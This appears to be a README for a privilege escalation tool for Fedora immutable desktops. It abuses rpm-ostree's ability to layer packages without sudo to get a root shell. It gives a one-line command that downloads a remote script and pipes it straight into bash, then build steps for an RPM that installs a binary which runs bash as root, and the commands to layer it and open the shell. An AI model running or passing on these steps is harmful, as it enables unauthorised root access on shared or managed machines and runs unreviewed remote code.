A privilege escalation tool for Fedora immutable desktops (Silverblue, Kinoite, etc.), using the fact that rpm-ostree
doesn't need sudo
.
This is considered intended behavior: https://discussion.fedoraproject.org/t/76173/2, coreos/rpm-ostree#745, coreos/rpm-ostree#825
bash <(curl https://raw.githubusercontent.com/rohanssrao/silverblue-privesc/main/privesc.sh)
Requirements:
dnf install rpmdevtools gcc glibc-static
Building:
rpmbuild --bb --define "_rpmdir $(pwd)" --define "_rpmfilename privesc.rpm" privesc.spec
This generates privesc.rpm
in the current directory. Installing the package creates /usr/bin/privesc
which simply runs bash as root.
Usage:
# Layer package
rpm-ostree install privesc.rpm
# Enter root shell
"$(ls -td /ostree/deploy/fedora/deploy/*/ | head -1)"/usr/bin/privesc